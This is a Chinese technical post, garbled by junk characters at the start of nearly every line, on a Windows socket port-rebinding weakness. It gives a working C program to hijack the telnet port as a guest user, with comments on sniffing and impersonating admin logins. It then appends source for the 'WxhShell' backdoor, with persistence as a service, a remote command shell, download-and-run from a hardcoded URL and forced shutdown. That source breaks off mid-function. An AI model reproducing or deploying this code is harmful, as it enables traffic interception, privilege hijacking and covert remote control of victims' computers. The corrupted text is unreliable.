在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
5AR\'||u s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
$kJvPwRO ~130"WQ; saddr.sin_family = AF_INET;
([s}bD.9 OqDLb saddr.sin_addr.s_addr = htonl(INADDR_ANY);
x+(h#+F u >H^bCXI bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
De[!^/f;T ,,oiL 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Vw=e C" =^4 vz=2 这意味着什么?意味着可以进行如下的攻击:
(F_Wys=6 E9{Gaa/{ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
6q?C"\_ no+{9Uf 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
%;9f$:U !z X`M1J 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
eKpH|S!xU yNAvXkp 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
XU.ZYYZ= ghJ81 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
o"t+G/M ~=P&wBnJ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
j& f-yc'i- m2%uGqz 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
"8VCXD x=yBB;& #include
PdJtJqA8h\ #include
}:YS$'by #include
4~4PZ #include
Z~$=V:EA? DWORD WINAPI ClientThread(LPVOID lpParam);
F<X)eO]tk int main()
UDV,c o {
]i\D*,FfU WORD wVersionRequested;
t/HMJ DWORD ret;
=0`"T!1 WSADATA wsaData;
]7v-qd BOOL val;
|)i-c`x SOCKADDR_IN saddr;
Y1txI SOCKADDR_IN scaddr;
gm9e-QIHK int err;
\?h + SOCKET s;
#B|`F?o SOCKET sc;
x;lIw)Ti int caddsize;
=)"60R7{ HANDLE mt;
{FraM,w: DWORD tid;
u&".kk wVersionRequested = MAKEWORD( 2, 2 );
|vA3+kG err = WSAStartup( wVersionRequested, &wsaData );
~\}%6W[2 if ( err != 0 ) {
S0 M-$ printf("error!WSAStartup failed!\n");
{<ymL} return -1;
nX<!n\J T }
n NZq`M saddr.sin_family = AF_INET;
Lie\3W <WtX>
\]l( //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
25*/]iu S #%'Vrp saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
cC1nC76[ saddr.sin_port = htons(23);
8$-Wz:X& if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
MOP
%vS {
P~iu|j printf("error!socket failed!\n");
PX52a[wNDH return -1;
F4>}mIA }
Z<K[ val = TRUE;
&G5+bUF, //SO_REUSEADDR选项就是可以实现端口重绑定的
)7c\wAs if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
J6_Hlt {
8vz9o <I printf("error!setsockopt failed!\n");
$
w:QJ~,s return -1;
#z-6mRB }
S*?'y //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
aePhtQF //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
%JBp~" //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
3\|e8(bc }k7@
X if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
`;*%5WD% {
yPn5l/pDDr ret=GetLastError();
%#2[3N{ printf("error!bind failed!\n");
J:)Q)MT24: return -1;
x "]%q^x }
6cVaO@/( listen(s,2);
fyYT #r while(1)
c^}gJ {
cG6Q$ caddsize = sizeof(scaddr);
1$?O5.X: //接受连接请求
5W>i'6* sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
ypwVzCUG if(sc!=INVALID_SOCKET)
A5z`_b4f {
K=M5d^K<E mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
g&O%qX- if(mt==NULL)
5R?iTB1, {
l~AmHw
e printf("Thread Creat Failed!\n");
,*?bET
$ break;
k]`I3>/L }
7=u\D }
LR]P? CloseHandle(mt);
/@lXQM9T }
]zmY]5 closesocket(s);
G#@o6r WSACleanup();
\evK.i*KfA return 0;
nORm7sa9 }
@G^]kDFM{ DWORD WINAPI ClientThread(LPVOID lpParam)
r75,mX {
{6~v oVkj SOCKET ss = (SOCKET)lpParam;
c_x6FoE;L SOCKET sc;
F'*y2FC unsigned char buf[4096];
;gTdiwfgZ= SOCKADDR_IN saddr;
<tMiI)0% long num;
#q9jFW8 DWORD val;
zPWG^ DWORD ret;
K SDo)7` //如果是隐藏端口应用的话,可以在此处加一些判断
bk}.^m! //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
aRdk^|} saddr.sin_family = AF_INET;
#,Fk saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
]Hc`<P
saddr.sin_port = htons(23);
o?b$}Qrl if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
P-ys$= {
|s+[489g'6 printf("error!socket failed!\n");
8k2prv^ return -1;
zIf/j k }
FcdbL,}=< val = 100;
yDWzsA/X if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
NcZ6!wWdE {
(ST/>")L ret = GetLastError();
}?$d~]t) return -1;
.8uJ%'$) }
qS*qHT(u19 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
9(QY~F {
W=&\d`><k ret = GetLastError();
HtgVD~[] return -1;
8TD:~ee }
P7&a~N$T6W if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Ms=x~o' {
$L)9'X printf("error!socket connect failed!\n");
]$KyZHj{ closesocket(sc);
I?lQN$A.E closesocket(ss);
320Wm)u>: return -1;
DhG2!'N }
-1Yt3M& while(1)
j0>S)Q {
15x~[?! //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
d2&sl(O //如果是嗅探内容的话,可以再此处进行内容分析和记录
A 7'dD$9 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
J)oa:Q num = recv(ss,buf,4096,0);
7C9qkQ
Jqn if(num>0)
Yl% Ra1 send(sc,buf,num,0);
)3=oS1p else if(num==0)
xqmP/1=NO break;
3cBuqQ num = recv(sc,buf,4096,0);
AH;0=<n if(num>0)
rOm)s' send(ss,buf,num,0);
l"*qj#FD else if(num==0)
;VSHXU'H break;
QY8I_VF }
k]u0US9/ closesocket(ss);
sHm|&
closesocket(sc);
*P 5Xy@: return 0 ;
D06'" }
@C0{m7q ((7~o?Vbg AmM^& ==========================================================
_&DI_'5q+ ^SpD) O{ 下边附上一个代码,,WXhSHELL
WpP8J1KN[ br.jj ==========================================================
_:x/\8P f$Q#xlQM #include "stdafx.h"
sycN u3R0_8
_.w #include <stdio.h>
9IIQon #include <string.h>
Vz1ro #include <windows.h>
lj/?P9 #include <winsock2.h>
sOa`T k #include <winsvc.h>
#[vmS #include <urlmon.h>
r50}j HTao)`. #pragma comment (lib, "Ws2_32.lib")
@
eqVug #pragma comment (lib, "urlmon.lib")
Qf6]qJa| L)H7~.Dj #define MAX_USER 100 // 最大客户端连接数
x|<rt966A #define BUF_SOCK 200 // sock buffer
/(8Usu?g. #define KEY_BUFF 255 // 输入 buffer
;+>-uPT/1 T)6p,l #define REBOOT 0 // 重启
BEPeK #define SHUTDOWN 1 // 关机
;Z-xum{ \m1r(*Ar #define DEF_PORT 5000 // 监听端口
lsCD%P 3Ew-Ia%A #define REG_LEN 16 // 注册表键长度
*>n<7T0 #define SVC_LEN 80 // NT服务名长度
~P
1(%FZ g05:A0X# // 从dll定义API
;J Dn1(6 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
^*#5iT8/ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
[?r`8K2!, typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
? ;i O typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
)TnxsFC 0$b)@ // wxhshell配置信息
{-2I^Ym 5i struct WSCFG {
5rRYv~+ int ws_port; // 监听端口
Tm-Nz7U^^ char ws_passstr[REG_LEN]; // 口令
h`-aO u int ws_autoins; // 安装标记, 1=yes 0=no
C|5eV=f)P char ws_regname[REG_LEN]; // 注册表键名
lsU|xOB char ws_svcname[REG_LEN]; // 服务名
MLtfi{;LH char ws_svcdisp[SVC_LEN]; // 服务显示名
jY-{hW+r char ws_svcdesc[SVC_LEN]; // 服务描述信息
6AKH0t|4 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
u3(zixb int ws_downexe; // 下载执行标记, 1=yes 0=no
Q@6OIE char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
G4{ zt3{ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
zGHP{a1O7 j!B+Q };
;g?oU"Y M JOS,>;;F4 // default Wxhshell configuration
|GM?4'2M. struct WSCFG wscfg={DEF_PORT,
><}FyK4C "xuhuanlingzhe",
&?f{. 1,
cW4:eh "Wxhshell",
{" S"V "Wxhshell",
}OZ%U2PU "WxhShell Service",
OE]zC "Wrsky Windows CmdShell Service",
NVU @m+m~ "Please Input Your Password: ",
7pH(_-TF 1,
|&`NB| "
http://www.wrsky.com/wxhshell.exe",
}]$%aMxy T "Wxhshell.exe"
k(+EY% };
K??%Qh5l+C w{f!t8C*s // 消息定义模块
sXDS_Q char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
V0q./NuO char *msg_ws_prompt="\n\r? for help\n\r#>";
8ME_O~,N char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
2~Z P[wr char *msg_ws_ext="\n\rExit.";
FPE[} char *msg_ws_end="\n\rQuit.";
YHAhF@& char *msg_ws_boot="\n\rReboot...";
5+].$ char *msg_ws_poff="\n\rShutdown...";
>&6pBtC_ char *msg_ws_down="\n\rSave to ";
lM`M70~ =kH7 char *msg_ws_err="\n\rErr!";
3 GmU$w char *msg_ws_ok="\n\rOK!";
[g`9C!P-G X<dQq`kZ char ExeFile[MAX_PATH];
`CA-s int nUser = 0;
^\Tde*48 HANDLE handles[MAX_USER];
De%WT:v int OsIsNt;
`[3Iz$K= :0|]cHm SERVICE_STATUS serviceStatus;
3`uv/O2~i SERVICE_STATUS_HANDLE hServiceStatusHandle;
secD
`] _TfG-Ae // 函数声明
U\a.'K50F int Install(void);
CG*eo!Nw int Uninstall(void);
3B!lE(r%J int DownloadFile(char *sURL, SOCKET wsh);
Cx2s5vJX4p int Boot(int flag);
{G&*\5W void HideProc(void);
$"1Unu&P int GetOsVer(void);
~Mbo`:>(4v int Wxhshell(SOCKET wsl);
=)5O(h void TalkWithClient(void *cs);
1wP#?p)c int CmdShell(SOCKET sock);
h}r* int StartFromService(void);
s\y+ xa: int StartWxhshell(LPSTR lpCmdLine);
Z
6KM%R 2eo]D?} VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
R_ymTB}<t( VOID WINAPI NTServiceHandler( DWORD fdwControl );
A]L;LkEM
7ZarXv
z // 数据结构和表定义
j hf%ze SERVICE_TABLE_ENTRY DispatchTable[] =
H^z6.!$m {
JX8Hn | {wscfg.ws_svcname, NTServiceMain},
Zz}Wg@&
{NULL, NULL}
KI)jP(( };
ATl.Qku@ 9Jd{HI= // 自我安装
BOClMeA4 int Install(void)
dZcRLLR {
\H|tc#::{ char svExeFile[MAX_PATH];
d/5i4g[q HKEY key;
l/0"'o_0v# strcpy(svExeFile,ExeFile);
xO?w8 *d .RFijr // 如果是win9x系统,修改注册表设为自启动
Gx/sJ( if(!OsIsNt) {
{`?C5<r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
*'4+kj7> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
%EkV-%o* RegCloseKey(key);
=?g26>dYo if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Z-X(.Q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
CeQL8yJ; RegCloseKey(key);
{R<0'JU return 0;
ziZLw$) }
H8.Aq\2S }
J&Ig%&/ }
hG51jVYtw else {
Lc 4\i YHBH9E/B // 如果是NT以上系统,安装为系统服务
j_H"m R SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
1AMxZ (e if (schSCManager!=0)
9RA~#S|(T {
QJiU"1 SC_HANDLE schService = CreateService
Y3@\uM`2# (
\GhL{Awv&a schSCManager,
0'8_:|5 wscfg.ws_svcname,
4UwXrEQp wscfg.ws_svcdisp,
u~SvR~OE SERVICE_ALL_ACCESS,
Wy1#K)LRb SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
&Ui*w% SERVICE_AUTO_START,
IxN0m7 SERVICE_ERROR_NORMAL,
7|Z=#3INw svExeFile,
_+Tq&,_:o NULL,
u&{}hv&FY NULL,
\AFoxi2h NULL,
s
zBlyT NULL,
~nYp*t C' NULL
Y' K+O );
yKupPp); if (schService!=0)
pFE&`T@ < {
r\nKJdh;ka CloseServiceHandle(schService);
1eQfc{[g CloseServiceHandle(schSCManager);
rXl ~D! strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
7|$cM7_r strcat(svExeFile,wscfg.ws_svcname);
#._%~}U if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
D<=x<. RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
R>Q&Ax RegCloseKey(key);
Ja1[vO"YgP return 0;
8 KDF*%7' }
'dJ#NT25 }
Cg{V"B: CloseServiceHandle(schSCManager);
9vIqGz-o }
lO^Ly27 }
}/)vOUcEd ^3~+| A98M return 1;
2"0q9 Jg }
}E[u" @} EFpV // 自我卸载
2cv!85 int Uninstall(void)
~)J]`el,Q {
R(YhVW_l HKEY key;
|#_IAN j}P
xq if(!OsIsNt) {
~V#MI@]V~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
U|tUX)9O RegDeleteValue(key,wscfg.ws_regname);
aqL#g18 RegCloseKey(key);
hd+(M[C<9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
nE"##2X RegDeleteValue(key,wscfg.ws_regname);
^d6}rtG RegCloseKey(key);
%{M_\Ae# return 0;
b!(ew`Y; }
)9F o }
o>Fc.$ngZ }
Z8vMVo else {
Ug :3)q[O jhRg47A SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
U(xN}Y? if (schSCManager!=0)
RLy2d'DS {
0}LBnV SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
q47>RWMh% if (schService!=0)
!4;A"B( {
6t zUp/O if(DeleteService(schService)!=0) {
8bf_W3 CloseServiceHandle(schService);
eXs^YPi CloseServiceHandle(schSCManager);
_:N+mEF return 0;
T"h@-UcTl }
pr~%%fCh CloseServiceHandle(schService);
kHWW\?O }
2EO WbN}M CloseServiceHandle(schSCManager);
O_v8R7 { }
x}^:Bs+j }
IBP3 pFB^l|\ ] return 1;
cy_'QS$W }
j 3/ I= s&Bk@a8 // 从指定url下载文件
^nO0/nqz] int DownloadFile(char *sURL, SOCKET wsh)
xi+bBqg<.K {
;)nkY6- HRESULT hr;
X667*L^ char seps[]= "/";
bQ%6z}r char *token;
ig-V^P char *file;
`(- nSQ char myURL[MAX_PATH];
Np2I*l6W char myFILE[MAX_PATH];
,Yp+&&p. u& 4i=K'x8 strcpy(myURL,sURL);
vJ
+sdG token=strtok(myURL,seps);
c+BD37S while(token!=NULL)
L3N?^^] {
^l,(~03_ file=token;
VL =1 9[ token=strtok(NULL,seps);
3t4i2] }
EWb'#+BP k<&zVV' GetCurrentDirectory(MAX_PATH,myFILE);
XY_hTHJ strcat(myFILE, "\\");
<w,NMu" strcat(myFILE, file);
dnwTD\), send(wsh,myFILE,strlen(myFILE),0);
Etj0k}
A send(wsh,"...",3,0);
j . "L= hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
{th=MldJ? if(hr==S_OK)
pA%}CmrMq return 0;
Ru&>8Ln0 else
DPWt=IFU return 1;
eq"
eLk6h @~=*W5 }
*\-$.w)k CI#6r8u // 系统电源模块
JJQS7,vG int Boot(int flag)
QLPb5{>KDS {
_YK66cS3E/ HANDLE hToken;
~vb yX TOKEN_PRIVILEGES tkp;
9 HiH6f^5 {+3
`{34e if(OsIsNt) {
h]+UK14m OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
*jf%Wj)0M LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
'9ki~jtf= tkp.PrivilegeCount = 1;
a<NZC tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
W>E/LBpE4 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
\ 4`:~c if(flag==REBOOT) {
K]{x0A if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
@%^JB return 0;
#NyfE|MKBC }
DXa!"ZU else {
iJ&jg`"=F if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
P
Nf_{4 return 0;
OGR2Y }
g7UZtpLTm }
4\_~B{kzZ else {
k4E2OyCFoJ if(flag==REBOOT) {
WR.>?IG2E if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
>iV2>o _ return 0;
+QW|8b }
mG*ER^Y@D else {
ez-jVi-Fi if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
q\$k'(k>35 return 0;
{i^F4A@=Z }
$eq*@5B }
c:[8ng 2v R<<